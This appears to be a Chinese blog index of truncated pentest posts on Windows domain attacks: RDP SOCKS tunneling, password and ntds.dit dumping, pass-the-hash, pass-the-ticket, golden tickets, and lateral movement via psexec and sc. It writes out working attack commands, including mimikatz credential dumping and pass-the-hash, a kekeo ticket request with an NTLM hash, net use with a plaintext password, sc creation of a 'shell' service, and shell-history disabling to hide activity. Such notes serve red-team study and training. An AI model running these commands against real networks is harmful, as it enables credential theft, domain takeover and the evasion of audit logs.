SocksOverRDP
0x00 前言
当防火墙规则配置为:只有 tcp/udp 3389 端口可以进行通信时,可以利用 RDP 协议,建立 Socks 通道。应用场景较为极端。
SocksOverRDP 可以将 SOCKS 代理的功能添加到远程桌面服务,它使用动态虚拟通道,使我们能够通过开放的 RDP 连接进行通信,而无需在防火墙上打开新的套接字、连接或端口。此工具在 RDP 协议的基础上实现了 SOCKS 代理功能,就像 SSH 的-D参数一样,在建立远程连接后,即可利用 RDP 协议实现代理功能。
0x01 通过 SocksOverRDP 搭建 SOCKS5 代理
win7 是一个 Web 服务器,有两个网卡,分别连通内外网。假设此时攻击者已经通过渗透手段拿下了这台 Web 服务器,需要设置代理进入内网继续对内网进行横向渗透。但是由于防火墙的规则等原因,只允许 TCP/UDP 3389 端口可以进行通信,所以我们只能尝试利用用 RDP 协议来建立通讯隧道。
在攻击机winserver2012上需要安装注册 SocksOverRDP-Plugin.dll。首先我们将 SocksOverRDP-Plugi ...
小tips总结
0x01 环境准备
安装谷歌浏览器
安装wegt
1apt-get install wget
使用wegt下载最新的Google Chrome .deb程序包
1wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
安装 Google Chrome
1apt install ./google-chrome-stable_current_amd64.deb
谷歌浏览器开启沙箱模式
1234修改/usr/share/applications/google-chrome.desktop文件Exec=/usr/bin/google-chrome-stable %U改为Exec=/usr/bin/google-chrome-stable --no-sandbox %U
国内网络加速下载github文件
123456789101112git clonegit clone https://ghproxy.com/https://github.com/stilleshan/ServerStatus ...
获取windows密码
0x00 前言
Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。
要想在windows操作系统中抓取散列值或者明文密码,必须将提权提升到SYSTEM。本地用户名、散列值和其他安全验证的信息都保存在SAM文件中。lsass.exe进程用于实现windows的安全策(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。
0x01 GetPass
GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm
以管理员权限直接运行 GetPassword.exe 直接查看到明文密码
0x02 PwDump7
PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/
PwDump7 只能获取到用户的 hash,不 ...
ntds.dit 的提取与散列值导出
0x00 前言
在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得这个文件的副本
在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。
ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。
0x01 提取ntds.dit
ntdsutil
ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。
Ntdsutil.exe支持的操作系统有windows server2003、windows server2008、windows server2012
...
内网渗透中的一些技巧
后台执行不记录
1nohup xxx > /dev/null 2>&1 &
命令历史不记录
12set +o historyexport HISTFILE=/dev/null export HISTSIZE=0
PTH
前言
假设咱们抓出来的域管 NTLM 哈希解不开,这时候可以尝试 PTH 攻击
pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
环境
普通域成员机器:10.1.10.7,操作系统win7
域控:10.1.10.8,操作系统win2008
条件
域内任意一台主机的本地管理员权限和域管理员密码的 NTLM hash 值
使用mimikatz进行攻击
首先使用mimikatz抓取域管hash
1mimikatz log privilege::debug sekurlsa::logonpasswords exit
win7上线cs,在cs上操作
1mimikatz.exe "sekurlsa::pth /user:administrator ...
PTT之kekeo
0x00 前言
制作票据进行PTT的时候,需要知道对方的ntlm哈希,才能制作
0x01 过程
1、生成票据
1kekeo.exe "tgt::ask /user:"fzm\administrator" /domain:fzm.cn /ntlm:abce628a814a052c482797c7422e5c99
2、导入票据
1kerberos::ptt TGT_fzm~administrator@FZM.CN_krbtgt~fzm.cn@FZM.CN.kirbi
3.查看票据并访问域控
金银票据
黄金票据
0x00 前言
Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
0x01 条件
krbtgt用户的hash(就意味着你已经有域控制器权限了)
域名称
域的SID值
要伪造的用户名
0x02 利用
1、先登录域控制器,dump krbtgt用户的hash值,获取域sid
12privilege::debuglsadump::lsa /patch
这里讲一个小技巧,mimikatz 运行结果不容易复制,可以输出到一个文件
1mimikatz.exe "privilege::debug" "lsadump::lsa /p ...
利用psexec进行横向
0x00 前言
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。
0x01 psexec原理
通过ipc$连接admin$,释放二进制文件psexecsvc.exe到目标
通过服务管理SCManager远程创建一个psexec服务,并启动服务
客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
运行结束后删除服务
0x02 使用前提
对方主机开启了 admin$共享,如果关闭了admin$共享,会提示:找不到网络名
对方未开启防火墙
如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主 ...
利用windows服务之SC进行横向
0x01 前言
利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。
0x02 sc命令
sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下:
1.与靶机建立ipc连接
1net use \\10.1.10.7\ipc$ "1qaz@WSX" /user:fzm\user1
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务
1sc \\win7 create shell binpath= "c:\abc.exe"
4.启动shell服务
1sc \\win7 start shell
成功上线
5.删除创建的shell服务
1sc \\win7 delete shell